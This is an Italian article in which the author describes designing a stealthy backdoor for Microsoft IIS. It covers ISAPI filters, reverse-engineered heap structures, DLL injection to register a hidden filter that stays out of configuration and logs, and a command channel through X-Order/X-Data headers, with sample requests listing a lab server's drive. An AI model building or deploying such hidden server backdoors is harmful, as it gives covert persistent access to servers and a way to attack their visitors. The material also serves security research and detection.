
In questo articolo spiegherò come ho progettato un rootkit per Microsoft Internet Information Services (IIS). La domanda è: perché una backdoor in un server web?
Prima risposta ovvia ma inutile: perché possiamo.
Ok, diamo una risposta più intelligente. Lo scopo di mettere una backdoor in un server web è duplice:
Questo secondo punto è particolarmente interessante, perché permette all'attaccante di iniettare l'exploit appropriato in base al browser web che richiede la pagina web, o di infettare un eseguibile scaricato dal server. Backdoor IIS
IIS è il server web di Microsoft; è un importante componente delle tecnologie web di base di Microsoft come OWA. Molte versioni sono state rilasciate, dalla prima (IIS 1.0 su Windows NT 3.51) all'ultima (IIS 7.5 su Windows Server 2008). È ampiamente diffuso su Internet e nelle Intranet aziendali. Arricchimento di IIS
Microsoft ha definito un'API conosciuta come ISAPI (Internet Server Application Programming Interface) per aiutare gli sviluppatori ad aggiungere funzionalità a IIS. È possibile aggiungere a IIS due tipi di componenti: estensioni o filtri. Estensioni ISAPI
Le estensioni sono DLL che esportano 3 funzioni:
Le estensioni sono applicazioni che girano dentro IIS. Vengono caricate da IIS ogni volta che ne ha bisogno. Le estensioni accedono al contenuto di una richiesta e sono responsabili di rispondere al client. Per esempio, se un client richiede la pagina http ://mydomain/myextension dove myextension è la tua estensione registrata, verrà chiamata la HttpExtensionProc della tua estensione. IIS le fornirà la seguente struttura:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
Questo permette a HttpExtensionProc di leggere i dati dalla richiesta, elaborarli e inviare una risposta usando le funzioni callback ReadClient e WriteClient. Filtri ISAPI
I filtri sono DLL che esportano 3 funzioni:
I filtri sono registrati per un certo numero di eventi; ogni volta che un evento si verifica durante il ciclo di vita di una richiesta, viene chiamata la HttpFilterProc. Ecco una lista incompleta di eventi per cui un filtro può essere registrato:
Quando si verifica un evento per cui un filtro è registrato, viene chiamata la HttpFilterProc del filtro e le viene fornita una struttura, a seconda del tipo di evento. Per esempio, se si tratta di un evento SF_NOTIFY_END_OF_REQUEST, IIS passa al filtro la seguente struttura:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Questa struttura contiene tutte le informazioni necessarie di cui un filtro ha bisogno per registrare la richiesta in ingresso. Panoramica di estensioni e filtri
Il seguente schema è una presentazione generale di come filtri ed estensioni vengono raggiunti da una richiesta di un client:
Schemaextfilts.png Filtro nascosto
Per implementare la mia backdoor IIS ho deciso di usare il meccanismo dei filtri IIS piuttosto che quello delle estensioni. Principalmente per ragioni di furtività. Infatti, per raggiungere un'estensione i client devono effettuare una richiesta a un URL come questo: http ://mydomain/myextension. La mia estensione apparirebbe quindi nei log del server. Se uso un filtro, può essere raggiunto chiamando qualsiasi pagina valida sul server: questo è un comportamento molto più regolare.
È possibile registrare un filtro tramite il pannello di configurazione di IIS (all'interno dei file di configurazione di IIS), ma questo è tutto tranne che furtivo. Ho deciso di aggiungere il filtro manualmente all'interno della lista concatenata dei filtri IIS. Per fare ciò inietto la mia DLL nel processo IIS; la DLL analizza l'heap del processo IIS e si registra manualmente nella lista dei filtri IIS.
Due tipi di strutture vengono usati per mantenere in memoria la lista dei filtri IIS. Il primo è il seguente:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Ha i seguenti membri:
Ogni filtro ha la propria struttura HTTP_FILTER_DLL, che è la seguente:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Il seguente schema mostra come i filtri IIS sono organizzati in memoria:
SchemaListNoHidFilt.png
Conoscendo questa organizzazione della memoria, è facile aggiungere un nuovo filtro nascosto in memoria. Per farlo dobbiamo trovare l'istanza della FILTER_LIST nell'heap. Una volta trovata, dobbiamo solo aggiungere una nuova struttura HTTP_FILTER_DLL nella lista HTTP_FILTER_DLL e aggiungere un riferimento ad essa nell'array di filtri della struttura FILTER_LIST:
SchemaListHidFilt.png Implementazione della backdoor
La backdoor funziona secondo un principio molto semplice. I client inviano richieste con header speciali contenenti ordini e il filtro risponde aggiungendo dati alla risposta in uscita. Il filtro è registrato per gli eventi SF_NOTIFY_PREPROC_HEADERS e SF_NOTIFY_SEND_RAW_DATA. Quando arriva una richiesta in ingresso, il filtro controlla se gli header X-ORDER e/o X-DATA sono presenti nella richiesta; se lo sono e se l'ordine è noto, lo esegue e risponde. Poiché il nostro filtro viene notificato per qualsiasi pagina del server, posso richiedere qualsiasi pagina del server per comunicare con il mio filtro. Mi basta aggiungere header speciali a una richiesta normale.
Se richiedo una pagina semplice (qui /pwet.htm) senza aggiungere header, IIS ha un comportamento normale, cioè la risposta di IIS è la seguente:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Ma se richiedo la stessa pagina e aggiungo un ordine (qui l'ordine è "ListDir" di base64("C:") ), allora ottengo il seguente risultato:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Quindi, backdoorare un server web IIS non è poi così difficile e può darti molte opportunità...